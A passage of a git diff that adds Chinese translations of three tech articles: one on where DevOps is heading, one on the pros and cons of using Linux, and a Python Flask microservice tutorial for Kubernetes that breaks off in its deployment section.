https://www.opensourceforu.com/wp-content/uploads/2022/07/Figure-1-Example-of-MNIST-data-set.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/07/Figure-2-Julia-takes-5.76-seconds-in-a-neural-network.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/07/Figure-3-Python-takes-110.3-seconds-in-a-neural-network.jpg diff --git a/published/202210/20220902 Where is DevOps Headed-.md b/published/202210/20220902 Where is DevOps Headed-.md new file mode 100644 index 0000000000..3b36cba648 --- /dev/null +++ b/published/202210/20220902 Where is DevOps Headed-.md @@ -0,0 +1,53 @@ +[#]: subject: "Where is DevOps Headed?" +[#]: via: "https://www.opensourceforu.com/2022/09/where-is-devops-headed/" +[#]: author: "Bhagvan Kommadi https://www.opensourceforu.com/author/bhagvan-kommadi/" +[#]: collector: "lkxed" +[#]: translator: "Yufei-Yan" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15117-1.html" + +DevOps 将去向何方? +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/07/DevOps.jpg) + +> 微软、谷歌、亚马逊、IBM 和甲骨文如今都在关注云上的 DevOps。这些大公司正在给企业提供 IT 自动化的服务。然而,DevOps 仍然在持续的演进中。DevSecOps、AIOps 和 NoOps 正在成为下一个流行词。 + +随着开发和管理人员看到及时交付高质量软件的商业价值,敏捷Agile方法论和 DevOps 也变得流行起来。拥有灵活的发布周期,并且交付具有可扩展scalable可定制customizable的软件,是世界上每个企业的目标。通过将 CI/CD 工具和管道pipeline部署到云端,DevOps 使发布过程变得更加流畅。融合了 DevOps 的 Polyglot 微服务架构正在帮助企业降低总拥有成本(TCO)。他们现在有能力用渐进式网络应用程序和最新的 UI 框架升级他们的技术栈。总的来说,团队正在以更好的效率执行任务,并且正在开发高质量的软件模块。 + +### 自治 DevOps + +容器和 DevOps 与云原生应用走到了一起。Kubernetes 和 Docker 正在被用作容器,一个新的名词 NoOps 现在正在流行。对于不同的容器,编排Orchestration都是一个重要的功能。为了扩展应用,开发环境中要创建容器集群。有一些新的容器正在进入云原生应用这个领域,比如 Mesos、Swarm、Openshift Rancher 和 Nomad。NoOps 有助于缩短编码周期,从而监控和管理应用程序。缺陷修复和热修复是不同的活动,它们都是 NoOps 的一部分。NoOps 有助于提高技术团队和业务运营人员之间的协同作用。它也有助于更好的监控、管理和流程自动化。NoOps 基础设施能够控制应用程序在云上的部署。企业从中获得的好处包括更好的交付、弹性的服务、更快的发布、良好的质量和 CI/CD 自动化。 + +### DevSecOps + +DevSecOps 算是另一个流行趋势,它与在开发操作中的安全问题有关。最近与漏洞vulnerabilities(log4j),安全泄露security breach(谷歌、脸书、微软),和安全攻击相关的问题增加了 DevSecOps 在企业中的重要性。左移shift left方法强调了在软件生命周期的早期处理安全性和质量的重要性。在架构阶段就需要考虑隐私和遵从性compliances(如 GDPR)。这有助于降低成本,并且提升软件交付的速度。审计工具和安全检查列表是 DevOps 工具和系统的一部分,现在我们称为 DevSecOps。 + +### AIOps + +AI DevOps 现在被称为 AIOps。据预测,将来 AI 应用会由 AIOps 来管理。与 AIOps 相关的工具和软件正在开发中,并且将很快发布首个版本。AI/ML 应用部署和模型更新可以由 AIOps 来处理。这将在工业 4.0Industry 4.0 以及数据科学中扮演重要角色。有一种观点认为,NoOps 将会是 AIOps 的最终形态。AIOps 包括数据集管理、模型训练、模型服务、元数据管理、模型更新和服务更新。分布式训练将由 AIOps 来完成,这会提供超参数hyper parameter优化,工作流程管理和“假设what if”的分析能力。 + +### 微服务配置管理 + +当前,DevOps 和微服务正在成为标准部署和架构蓝图architectural blueprints来实施。应用可以在模块级别上就进行扩展。微服务可以在简化缺陷修复和问题区域隔离上提供帮助。经过设计,微服务可以通过添加更多计算能力computing power实例instances来进行扩展。但是当它们没有被正确实现的时候,数据安全和管理的问题就会突然出现。 + +### 平台即产品 + +云上的软件即服务Software as a Service平台即产品Platform as a Product最近非常流行。通过加速向平台部署和功能交付,DevOps 使这些变成现实。从编码到上线阶段,CI/CD 管道有助于可视化应用的部署。持续交付、集成和部署都是 DevOps 的一部分。DevOps 生产线模拟工业生产线是未来要关注的。 + +DevOps 正在慢慢地向 DevSecOps 和 AIOps 转变。对于企业,NoOps 才是未来。现在需要的是减少与安全相关的攻击、事故和破坏发生。对于企业来说,数据安全和隐私的优先级更高,并且这些新技术都将在这方面有所帮助。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/where-is-devops-headed/ + +作者:[Bhagvan Kommadi][a] +选题:[lkxed][b] +译者:[Yufei-Yan](https://github.com/Yufei-Yan) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/bhagvan-kommadi/ +[b]: https://github.com/lkxed diff --git a/published/202210/20220906 Advantages and Disadvantages of Using Linux.md b/published/202210/20220906 Advantages and Disadvantages of Using Linux.md new file mode 100644 index 0000000000..8631bff860 --- /dev/null +++ b/published/202210/20220906 Advantages and Disadvantages of Using Linux.md @@ -0,0 +1,260 @@ +[#]: subject: "Advantages and Disadvantages of Using Linux" +[#]: via: "https://itsfoss.com/advantages-linux/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15136-1.html" + +使用 Linux 的优势和劣势 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/13/000526wn58kyntpp0ynt0z.jpg) + +Linux 是一个流行词,你到处都能听到与 Linux 相关的内容。人们在技术论坛上讨论它、Linux 是课程中的一部分;你最喜欢的 YouTube 技术主播在兴奋地展示构建他们的 Linux 内核;你在 Twitter 上关注的 10 倍效率开发者10x developers都是 Linux 粉丝。 + +基本上,Linux 无处不在,每个人都在谈论它,因此你可能会不自主地陷入到对错失了 “学习 Linux” 的不安中。 + +所以,你想知道 Linux 的优势是什么,以及它是否值得去学习。 + +在这篇文章中,我总结了很多 Linux 的优势和劣势。 + +如果你在选择 Linux 还是你喜欢的操作系统上犹豫不决,我们愿意为你提供一些帮助。 + +> 在开始之前,我们要指出的是,“Linux” 本身并不是一个操作系统,它的操作系统被称为 [Linux 发行版][1],而且 Linux 的发行版有数百种。为简单起见,我将其称为 Linux 操作系统,而不是某个特定的 Linux 发行版。可以参考 [这篇文章][2],来更好地理解这些东西。 + +### 使用 Linux 的优势 + +如果你想使用 Linux 替代现在的操作系统,那么只有当你了解 Linux 的优势,才会有意义。 + +如果 Linux 在你想要它做的事情上表现出色,你将永远都不会后悔你的决定。 + +#### 不用购买许可证 + +![open source proprietary illustration][3] + +你需要拥有苹果公司的设备,才能使用 macOS 作为日常使用;你需要拥有 Windows 许可证,才能使用微软的 Windows。 + +因此,你需要对这些东西进行一定的投资。但是,对于 Linux 呢?它是完全免费的! + +与 Windows 和 macOS 相比,不仅仅是操作系统上的不同,Linux 上还有许多免费的软件包。 + +你无需支付许可证费用,就可以使用所有主流的 Linux 发行版。当然,你可以选择捐赠来支持该项目,但这完全取决于你自己的意愿。 + +**此外**,Linux 是完全开源的,这意味着所有人都能检查源代码的透明度。 + +#### 能以最小的系统资源运行 + +![linux mint 21 resource usage][4] + +通常,用户考虑尝试另一个操作系统,是因为他们对现有系统的性能感到沮丧。 + +这也是我的个人经历。我受朋友的委托,使用 Linux 来更新他们的旧笔记本电脑或经常滞后的系统。 + +而且,Linux 发行版能够在普通的硬件配置上运行,你不需要拥有最新最好的硬件。此外,还有专门的 [轻量级 Linux 发行版][5] 可以在较旧的硬件上运行而不会出现问题。 + +因此,如果你立即使用 Linux,你有更多的机会恢复你的旧系统,或在短时间内获得一个快速的计算机。 + +#### 更少地受到恶意软件的威胁 + +![malware illustration][6] + +没有操作系统可以免受恶意文件或脚本的侵害。如果你从未知来源下载并运行某些内容,则无法保证其安全性。 + +然而,对于 Linux,情况会更好一些。诚然,研究人员已经发现了针对 Linux 物联网设备的攻击者。但是,对于桌面 Linux,还无须担心。 + +恶意攻击者攻击的目标是更受家庭欢迎的平台,而 Linux 在桌面领域并没有很大的市场份额来吸引到这种关注。在某种程度上,这可能是一件好事。 + +你要做的就是坚持使用官方软件包,并在执行任何操作之前阅读指导说明。 + +另外,在 Linux 上,你也不用安装防病毒程序,来保护本机免受恶意软件的威胁。 + +#### 可个性化定制 + +![Pop!_OS 22.04 LTS][7] + +有了开源的代码,你就可以根据需要自由定制你的 Linux 体验。 + +当然,你需要具备一些专业知识,才能充分地定制你的 Linux。但是与 macOS 和 Windows 相比,即使你没有任何经验,也可以在 Linux 操作系统中获得更多自定义功能。 + +![Customized Linux experience | Reddit user: u/ZB652][8] + +如果你想要个性化你的体验,并愿意付出额外的努力,那么 Linux 就非常适合你。例如,你可以参考 [KDE 定制指南][10] 和 [停靠区选项][11] 以获得基本的自定义方法。 + +#### 适用于所有人 + +使用 macOS 或 Windows,你只能在微软或苹果最终确定的设计/偏好选择中,做出你的选择。 + +但是,对于 Linux,你能发现专注于各种事情的不同的 Linux 发行版。 + +例如,你可以选择能始终获取最新功能的 Linux 发行版,或者你也可以选择只为你提供安全/维护更新的 Linux 发行版。 + +你可以使用有开箱即用、外观好看的 Linux 发行版,或提供最大程度的自定义选项的 Linux 发行版。Linux 发行版的选择是多种多样的。 + +我建议你从 [能提供最佳用户体验的选项][12] 开始。 + +#### 完整的开发环境 + +如果你是软件开发人员或学习编程的学生,Linux 绝对是有优势的。许多构建工具都能在 Linux 上使用,并能够集成到 Linux 中。使用容器(Docker),你可以轻松创建专门的测试环境。 + +微软知道这个价值,因此它创建了 WSL,让开发人员可以在 Windows 内访问 Linux 环境。尽管如此,WSL 并没有接近真正的 Linux 体验,在 Windows 上使用 Docker 也同样如此。 + +但是这并不适用于网页设计,因为极为好用的 Adobe 工具并不能在 Linux 上使用。但是,如果你的工作不需要 Adobe,Linux 会是一个不错的选择。 + +#### Linux 是一项必须学习的技能! + +使用 Linux 有一个学习曲线,刚开始时掌握的速度最快,之后则逐渐变得平缓,但是它给你提供了对各种事物的洞察力。 + +你可以通过探索和自由定制 Linux,或者仅仅是通过使用它,来了解操作系统中的事物是如何工作的。 + +不是每个人都知道如何使用 Linux。 + +因此,通过学习 Linux 来获得和扩展你对软件和计算机的知识会是一项很棒的技能。 + +#### Linux 是一个必要的工作技能 + +![job illustration][13] + +正如我之前提及的,学习 Linux 是一个很好的技能,这不仅仅能增长你的知识,它在职业方面也很有用。 + +通过学习 Linux 的基础知识,你可以成为 Linux 系统管理员或安全专家,并且能胜任很多其他的工作。 + +因此,学习 Linux 开辟了一系列机会! + +#### 保护隐私 + +如果你没有微软账号,那么你就不能使用 Windows。当你启动 Windows 时,你会发现它会在很多的服务和应用中记录你的数据。 + +![privacy windows][14] + +虽然你可以找到此类设置并禁用它们,但很明显,Windows 的默认配置不会考虑你的隐私。 + +而在 Linux 中,并非如此。虽然某些应用程序/发行版会有一个可选功能,让你可以与他们分享有用的东西,但这并不是什么大问题。Linux 上的大多数东西都是经过定制的,默认情况下可以为你提供最大的隐私,从而无需配置任何东西。 + +但是,苹果和微软会采用巧妙的策略从你的计算机收集匿名的使用数据。偶尔,他们会记录你在他们的应用商店的活动,以及当你通过你的账户登录时的信息。 + +#### 自定义项目和自托管 + +你是一个喜欢捣鼓小发明的人吗?如果你喜欢制作电子或软件项目,Linux 会是你的发明天堂。 + +你可以在 [诸如树莓派这样的单板机][15] 上使用 Linux,开发出一些很酷的东西,例如复古游戏机、家庭自动化系统等等。 + +你也能在你自己的服务器上部署开源的软件,并维护他们。这称为自托管,它有以下的优点: + +* 减少托管费用 +* 掌控你的数据 +* 对于你的每个需求,定制应用/服务 + +你能直接使用 Linux 或者使用基于 Linux 的工具,来做这所有的事情。 + +### 使用 Linux 的劣势 + +Linux 并不是一个没有缺点的选择。任何事都具有两面性,Linux 也有一些不好的地方,包括: + +#### 不容易快速上手 + +![too much learn illustration][16] + +学习的目的通常不在于掌握一项新技能,更重要的是尽可能快地适应。 + +如果用户使用某一个东西,却无法完成任务,那么它并不适合他们。对于每个操作系统也是如此。例如,使用 Windows/macOS 的用户可能不会很快适应 Linux。 + +你可以阅读我们的比较文章以了解 [macOS 和 Linux 之间的区别][17]。 + +我同意一些人会比其他人学习速度更快。但是,总体而言,当你踏入 Linux 世界时,你需要付出一点努力,去学习那些不明显的东西。 + +#### 多样性 + +虽然我们建议使用 [为初学者量身定制的最佳 Linux 发行版][18],但一开始就选择你喜欢的版本,可能会让人不知所措。 + +你可能会想尝试其中多个版本,以查看最适合你的 Linux 发行版,但是这既耗时又令人十分困惑。 + +最好选择其中一种 Linux 发行版。但是,如果你仍然感到困惑,你可以仍旧使用 Windows/macOS。 + +#### 在桌面领域的市场份额相对较低 + +![linux desktop market share][19] + +Linux 不是流行的桌面操作系统。 + +这不应该是用户关心的问题。但是,如果没有大的市场占有率,就不能指望应用程序开发人员为 Linux 开发/维护工具。 + +当然,现在 Linux 有很多重要且流行的工具,比以往任何时候都多。但是,这仍然是一个因素,意味着并非所有好的工具/服务都可以在 Linux 上运行。 + +请参阅我们定期更新的关于 [Linux 的市场份额][20] 的文章,了解相关内容。 + +#### 缺少专有软件 + +正如我上面提到的,并不是开发者都对将他们的工具/应用程序引入 Linux 感兴趣。 + +因此,你可能在 Linux 上找不到适用于 Windows/macOS 的所有优质专有产品。诚然,你可以使用兼容层在 Linux 上运行 Windows/macOS 程序。 + +但这并不总是有效。例如,你没有支持 Linux 的官方微软 365 和像 Wallpaper Engine 这样的工具。 + +#### 不是游戏优先的操作系统 + +![gaming illustration][21] + +如果你想在电脑上玩游戏,Windows 仍然是支持最新硬件和技术的最佳选择。 + +谈到 Linux,有很多 “如果和但是” 需要一个明确的答案。 + +请注意,你可以在 Linux 上玩很多现代游戏,但在各种不同的硬件上可能不会有一致的体验。正如我们的一位读者在评论中建议的那样,你可以使用 Steam Play 在 Linux 上尝试许多 Windows 独占的游戏,而不会出现潜在的障碍。 + +Steam Deck 正在鼓励更多的游戏开发者使他们的游戏在 Linux 上运行得更好。而且,这在不久的将来只会得到改善。因此,如果你能花点功夫在 Linux 上尝试你最喜欢的游戏,可能不会让人失望。 + +话虽如此,在 Linux 上玩游戏并不方便。如果你有兴趣,可以参考我们的 [Linux 游戏指南][22] 以了解更多信息。 + +#### 缺少专业的技术支持 + +我知道不是每个人都需要技术支持。但是,一些技术支持选项能够在他们的笔记本电脑或计算机上远程指导用户/修复问题。 + +使用 Linux,你可以向社区寻求帮助,但它可能不像某些专业技术支持服务那样好用。 + +你仍然需要自己完成大部分努力,并自己尝试一些东西,并不是每个人都喜欢这样做的。 + +### 总结 + +我主要是 Linux 用户,但我在玩游戏时使用 Windows。虽然我偏好 Linux,但我尽力在这篇文章中对 Linux 保持中立态度,并给你足够的指导,以便你可以决定 Linux 是否适合你。 + +如果你打算使用 Linux,并且从未使用过它,请迈出你的第一步吧,可以参考 [在虚拟机中使用 Linux 的第一步][23]。如果你有 Windows 11,你也可以使用 WSL2。 + +我非常乐意收到你的评价和建议。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/advantages-linux/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/what-is-linux/ +[2]: https://itsfoss.com/what-is-linux/ +[3]: https://itsfoss.com/wp-content/uploads/2022/08/open-source-proprietary-illustration.jpg +[4]: https://itsfoss.com/wp-content/uploads/2022/08/linux-mint-21-resource-usage.jpg +[5]: https://itsfoss.com/lightweight-linux-beginners/ +[6]: https://itsfoss.com/wp-content/uploads/2022/09/malware-illustration.jpg +[7]: https://itsfoss.com/wp-content/uploads/2022/08/pop-os-screenshot-2022.png +[8]: https://itsfoss.com/wp-content/uploads/2022/09/customization-reddit-unixporn.jpg +[9]: https://www.reddit.com/r/unixporn/comments/wzu5nl/plasma_cscx2n/ +[10]: https://itsfoss.com/kde-customization/ +[11]: https://itsfoss.com/best-linux-docks/ +[12]: https://itsfoss.com/beautiful-linux-distributions/ +[13]: https://itsfoss.com/wp-content/uploads/2022/09/job-illustration.jpg +[14]: https://itsfoss.com/wp-content/uploads/2022/09/privacy-windows.webp +[15]: https://itsfoss.com/raspberry-pi-alternatives/ +[16]: https://itsfoss.com/wp-content/uploads/2022/09/too-much-learn-illustration.jpg +[17]: https://itsfoss.com/mac-linux-difference/ +[18]: https://itsfoss.com/best-linux-beginners/ +[19]: https://itsfoss.com/wp-content/uploads/2017/09/linux-desktop-market-share.jpg +[20]: https://itsfoss.com/linux-market-share/ +[21]: https://itsfoss.com/wp-content/uploads/2022/08/gaming-illustration.jpg +[22]: https://itsfoss.com/linux-gaming-guide/ +[23]: https://itsfoss.com/why-linux-virtual-machine/ diff --git a/published/202210/20220912 Python Microservices Using Flask on Kubernetes.md b/published/202210/20220912 Python Microservices Using Flask on Kubernetes.md new file mode 100644 index 0000000000..97cd07229d --- /dev/null +++ b/published/202210/20220912 Python Microservices Using Flask on Kubernetes.md @@ -0,0 +1,527 @@ +[#]: subject: "Python Microservices Using Flask on Kubernetes" +[#]: via: "https://www.opensourceforu.com/2022/09/python-microservices-using-flask-on-kubernetes/" +[#]: author: "Krishna Mohan Koyya https://www.opensourceforu.com/author/krishna-mohan-koyya/" +[#]: collector: "lkxed" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15154-1.html" + +在 Kubernetes 上使用 Flask 搭建 Python 微服务 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/19/124429nmw0xmfz3x3mrrf2.jpg) + +*微服务遵循领域驱动设计(DDD),与开发平台无关。Python 微服务也不例外。Python3 的面向对象特性使得按照 DDD 对服务进行建模变得更加容易。本系列的第 10 部分演示了如何将用户管理系统的查找服务作为 Python 微服务部署在 Kubernetes 上。* + +微服务架构的强大之处在于它的多语言性。企业将其功能分解为一组微服务,每个团队自由选择一个平台。 + +我们的用户管理系统已经分解为四个微服务,分别是添加、查找、搜索和日志服务。添加服务在 Java 平台上开发并部署在 Kubernetes 集群上,以实现弹性和可扩展性。这并不意味着其余的服务也要使用 Java 开发,我们可以自由选择适合个人服务的平台。 + +让我们选择 Python 作为开发查找服务的平台。查找服务的模型已经设计好了(参考 2022 年 3 月份的文章),我们只需要将这个模型转换为代码和配置。 + +### Pythonic 方法 + +Python 是一种通用编程语言,已经存在了大约 30 年。早期,它是自动化脚本的首选。然而,随着 Django 和 Flask 等框架的出现,它的受欢迎程度越来越高,现在各种领域中都在应用它,如企业应用程序开发。数据科学和机器学习进一步推动了它的发展,Python 现在是三大编程语言之一。 + +许多人将 Python 的成功归功于它容易编码。这只是一部分原因。只要你的目标是开发小型脚本,Python 就像一个玩具,你会非常喜欢它。然而,当你进入严肃的大规模应用程序开发领域时,你将不得不处理大量的 `if` 和 `else`,Python 变得与任何其他平台一样好或一样坏。例如,采用一种面向对象的方法!许多 Python 开发人员甚至可能没意识到 Python 支持类、继承等功能。Python 确实支持成熟的面向对象开发,但是有它自己的方式 -- Pythonic!让我们探索一下! + +### 领域模型 + +`AddService` 通过将数据保存到一个 MySQL 数据库中来将用户添加到系统中。`FindService` 的目标是提供一个 REST API 按用户名查找用户。域模型如图 1 所示。它主要由一些值对象组成,如 `User` 实体的`Name`、`PhoneNumber` 以及 `UserRepository`。 + +![图 1: 查找服务的域模型][1] + +让我们从 `Name` 开始。由于它是一个值对象,因此必须在创建时进行验证,并且必须保持不可变。基本结构如所示: + +``` +class Name: + value: str + def __post_init__(self): + if self.value is None or len(self.value.strip()) < 8 or len(self.value.strip()) > 32: + raise ValueError("Invalid Name") +``` + +如你所见,`Name` 包含一个字符串类型的值。作为后期初始化的一部分,我们会验证它。 + +Python 3.7 提供了 `@dataclass` 装饰器,它提供了许多开箱即用的数据承载类的功能,如构造函数、比较运算符等。如下是装饰后的 `Name` 类: + +``` +from dataclasses import dataclass + +@dataclass +class Name: + value: str + def __post_init__(self): + if self.value is None or len(self.value.strip()) < 8 or len(self.value.strip()) > 32: + raise ValueError("Invalid Name") +``` + +以下代码可以创建一个 `Name` 对象: + +``` +name = Name("Krishna") +``` + +`value` 属性可以按照如下方式读取或写入: + +``` +name.value = "Mohan" +print(name.value) +``` + +可以很容易地与另一个 `Name` 对象比较,如下所示: + +``` +other = Name("Mohan") +if name == other: + print("same") +``` + +如你所见,对象比较的是值而不是引用。这一切都是开箱即用的。我们还可以通过冻结对象使对象不可变。这是 `Name` 值对象的最终版本: + +``` +from dataclasses import dataclass + +@dataclass(frozen=True) +class Name: + value: str + def __post_init__(self): + if self.value is None or len(self.value.strip()) < 8 or len(self.value.strip()) > 32: + raise ValueError("Invalid Name") +``` + +`PhoneNumber` 也遵循类似的方法,因为它也是一个值对象: + +``` +@dataclass(frozen=True) +class PhoneNumber: + value: int + def __post_init__(self): + if self.value < 9000000000: + raise ValueError("Invalid Phone Number") +``` + +`User` 类是一个实体,不是一个值对象。换句话说,`User` 是可变的。以下是结构: + +``` +from dataclasses import dataclass +import datetime + +@dataclass +class User: + _name: Name + _phone: PhoneNumber + _since: datetime.datetime + + def __post_init__(self): + if self._name is None or self._phone is None: + raise ValueError("Invalid user") + if self._since is None: + self.since = datetime.datetime.now() +``` + +你能观察到 `User` 并没有冻结,因为我们希望它是可变的。但是,我们不希望所有属性都是可变的。标识字段如 `_name` 和 `_since` 是希望不会修改的。那么,这如何做到呢? + +Python3 提供了所谓的描述符协议,它会帮助我们正确定义 getter 和 setter。让我们使用 `@property` 装饰器将 getter 添加到 `User` 的所有三个字段中。 + +``` +@property +def name(self) -> Name: + return self._name + +@property +def phone(self) -> PhoneNumber: + return self._phone + +@property +def since(self) -> datetime.datetime: + return self._since +``` + +`phone` 字段的 setter 可以使用 `@<字段>.setter` 来装饰: + +``` +@phone.setter +def phone(self, phone: PhoneNumber) -> None: + if phone is None: + raise ValueError("Invalid phone") + self._phone = phone +``` + +通过重写 `__str__()` 函数,也可以为 `User` 提供一个简单的打印方法: + +``` +def __str__(self): + return self.name.value + " [" + str(self.phone.value) + "] since " + str(self.since) +``` + +这样,域模型的实体和值对象就准备好了。创建异常类如下所示: + +``` +class UserNotFoundException(Exception): + pass +``` + +域模型现在只剩下 `UserRepository` 了。Python 提供了一个名为 `abc` 的有用模块来创建抽象方法和抽象类。因为 `UserRepository` 只是一个接口,所以我们可以使用 `abc` 模块。 + +任何继承自 `abc.ABC` 的类都将变为抽象类,任何带有 `@abc.abstractmethod` 装饰器的函数都会变为一个抽象函数。下面是 `UserRepository` 的结构: + +``` +from abc import ABC, abstractmethod + +class UserRepository(ABC): + @abstractmethod + def fetch(self, name:Name) -> User: + pass +``` + +`UserRepository` 遵循仓储模式。换句话说,它在 `User` 实体上提供适当的 CRUD 操作,而不会暴露底层数据存储语义。在本例中,我们只需要 `fetch()` 操作,因为 `FindService` 只查找用户。 + +因为 `UserRepository` 是一个抽象类,我们不能从抽象类创建实例对象。创建对象必须依赖于一个具体类实现这个抽象类。数据层 `UserRepositoryImpl` 提供了 `UserRepository` 的具体实现: + +``` +class UserRepositoryImpl(UserRepository): + def fetch(self, name:Name) -> User: + pass +``` + +由于 `AddService` 将用户数据存储在一个 MySQL 数据库中,因此 `UserRepositoryImpl` 也必须连接到相同的数据库去检索数据。下面是连接到数据库的代码。注意,我们正在使用 MySQL 的连接库。 + +``` +from mysql.connector import connect, Error + +class UserRepositoryImpl(UserRepository): + def fetch(self, name:Name) -> User: + try: + with connect( + host="mysqldb", + user="root", + password="admin", + database="glarimy", + ) as connection: + with connection.cursor() as cursor: + cursor.execute("SELECT * FROM ums_users where name=%s", (name.value,)) + row = cursor.fetchone() + if cursor.rowcount == -1: + raise UserNotFoundException() + else: + return User(Name(row[0]), PhoneNumber(row[1]), row[2]) + except Error as e: + raise e +``` + +在上面的片段中,我们使用用户 `root` / 密码 `admin` 连接到一个名为 `mysqldb` 的数据库服务器,使用名为 `glarimy` 的数据库(模式)。在演示代码中是可以包含这些信息的,但在生产中不建议这么做,因为这会暴露敏感信息。 + +`fetch()` 操作的逻辑非常直观,它对 `ums_users` 表执行 SELECT 查询。回想一下,`AddService` 正在将用户数据写入同一个表中。如果 SELECT 查询没有返回记录,`fetch()` 函数将抛出 `UserNotFoundException` 异常。否则,它会从记录中构造 `User` 实体并将其返回给调用者。这没有什么特殊的。 + +### 应用层 + +最终,我们需要创建应用层。此模型如图 2 所示。它只包含两个类:控制器和一个 DTO。 + +![图 2: 添加服务的应用层][2] + +众所周知,一个 DTO 只是一个没有任何业务逻辑的数据容器。它主要用于在 `FindService` 和外部之间传输数据。我们只是提供了在 REST 层中将 `UserRecord` 转换为字典以便用于 JSON 传输: + +``` +class UserRecord: + def toJSON(self): + return { + "name": self.name, + "phone": self.phone, + "since": self.since + } +``` + +控制器的工作是将 DTO 转换为用于域服务的域对象,反之亦然。可以从 `find()` 操作中观察到这一点。 + +``` +class UserController: + + def __init__(self): + self._repo = UserRepositoryImpl() + + def find(self, name: str): + try: + user: User = self._repo.fetch(Name(name)) + record: UserRecord = UserRecord() + record.name = user.name.value + record.phone = user.phone.value + record.since = user.since + return record + except UserNotFoundException as e: + return None +``` + +`find()` 操作接收一个字符串作为用户名,然后将其转换为 `Name` 对象,并调用 `UserRepository` 获取相应的 `User` 对象。如果找到了,则使用检索到的 `User`` 对象创建 `UserRecord`。回想一下,将域对象转换为 DTO 是很有必要的,这样可以对外部服务隐藏域模型。 + +`UserController` 不需要有多个实例,它也可以是单例的。通过重写 `__new__`,可以将其建模为一个单例。 + +``` +class UserController: + def __new__(self): + if not hasattr(self, ‘instance’): + self.instance = super().__new__(self) + return self.instance + + def __init__(self): + self._repo = UserRepositoryImpl() + + def find(self, name: str): + try: + user: User = self._repo.fetch(Name(name)) + record: UserRecord = UserRecord() + record.name = user.name.getValue() + record.phone = user.phone.getValue() + record.since = user.since + return record + except UserNotFoundException as e: + return None +``` + +我们已经完全实现了 `FindService` 的模型,剩下的唯一任务是将其作为 REST 服务公开。 + +### REST API + +`FindService` 只提供一个 API,那就是通过用户名查找用户。显然 URI 如下所示: + +``` +GET /user/{name} +``` + +此 API 希望根据提供的用户名查找用户,并以 JSON 格式返回用户的电话号码等详细信息。如果没有找到用户,API 将返回一个 404 状态码。 + +我们可以使用 Flask 框架来构建 REST API,它最初的目的是使用 Python 开发 Web 应用程序。除了 HTML 视图,它还进一步扩展到支持 REST 视图。我们选择这个框架是因为它足够简单。 +创建一个 Flask 应用程序: + +``` +from flask import Flask +app = Flask(__name__) +``` + +然后为 Flask 应用程序定义路由,就像函数一样简单: + +``` +@app.route('/user/') +def get(name): + pass +``` + +注意 `@app.route` 映射到 API `/user/`,与之对应的函数的 `get()`。 + +如你所见,每次用户访问 API 如 `http://server:port/user/Krishna` 时,都将调用这个 `get()` 函数。Flask 足够智能,可以从 URL 中提取 `Krishna` 作为用户名,并将其传递给 `get()` 函数。 + +`get()` 函数很简单。它要求控制器找到该用户,并将其与通常的 HTTP 头一起打包为 JSON 格式后返回。如果控制器返回 `None`,则 `get()` 函数返回合适的 HTTP 状态码。 + +``` +from flask import jsonify, abort + +controller = UserController() +record = controller.find(name) +if record is None: + abort(404) +else: + resp = jsonify(record.toJSON()) + resp.status_code = 200 + return resp +``` + +最后,我们需要 Flask 应用程序提供服务,可以使用 `waitress` 服务: + +``` +from waitress import serve +serve(app, host="0.0.0.0", port=8080) +``` + +在上面的片段中,应用程序在本地主机的 8080 端口上提供服务。最终代码如下所示: + +``` +from flask import Flask, jsonify, abort +from waitress import serve + +app = Flask(__name__) + +@app.route('/user/') +def get(name): + controller = UserController() + record = controller.find(name) + if record is None: + abort(404) + else: + resp = jsonify(record.toJSON()) + resp.status_code = 200 + return resp + +serve(app, host="0.0.0.0", port=8080) +``` + +### 部署 + +`FindService` 的代码已经准备完毕。除了 REST API 之外,它还有域模型、数据层和应用程序层。下一步是构建此服务,将其容器化,然后部署到 Kubernetes 上。此过程与部署其他服务妹有任何区别,但有一些 Python 特有的步骤。 + +在继续前进之前,让我们来看下文件夹和文件结构: + +``` ++ ums-find-service ++ ums +- domain.py +- data.py +- app.py +- Dockerfile +- requirements.txt +- kube-find-deployment.yml +``` + +如你所见,整个工作文件夹都位于 `ums-find-service` 下,它包含了 `ums` 文件夹中的代码和一些配置文件,例如 `Dockerfile`、`requirements.txt` 和 `kube-find-deployment.yml`。 + +`domain.py` 包含域模型,`data.py` 包含 `UserRepositoryImpl`,`app.py` 包含剩余代码。我们已经阅读过代码了,现在我们来看看配置文件。 + +第一个是 `requirements.txt`,它声明了 Python 系统需要下载和安装的外部依赖项。我们需要用查找服务中用到的每个外部 Python 模块来填充它。如你所见,我们使用了 MySQL 连接器、Flask 和 Waitress 模块。因此,下面是 `requirements.txt` 的内容。 + +``` +Flask==2.1.1 +Flask_RESTful +mysql-connector-python +waitress +``` + +第二步是在 `Dockerfile` 中声明 Docker 相关的清单,如下: + +``` +FROM python:3.8-slim-buster + +WORKDIR /ums +ADD ums /ums +ADD requirements.txt requirements.txt +RUN pip3 install -r requirements.txt + +EXPOSE 8080 +ENTRYPOINT ["python"] +CMD ["/ums/app.py"] +``` + +总的来说,我们使用 Python 3.8 作为基线,除了移动 `requirements.txt` 之外,我们还将代码从 `ums` 文件夹移动到 Docker 容器中对应的文件夹中。然后,我们指示容器运行 `pip3 install` 命令安装对应模块。最后,我们向外暴露 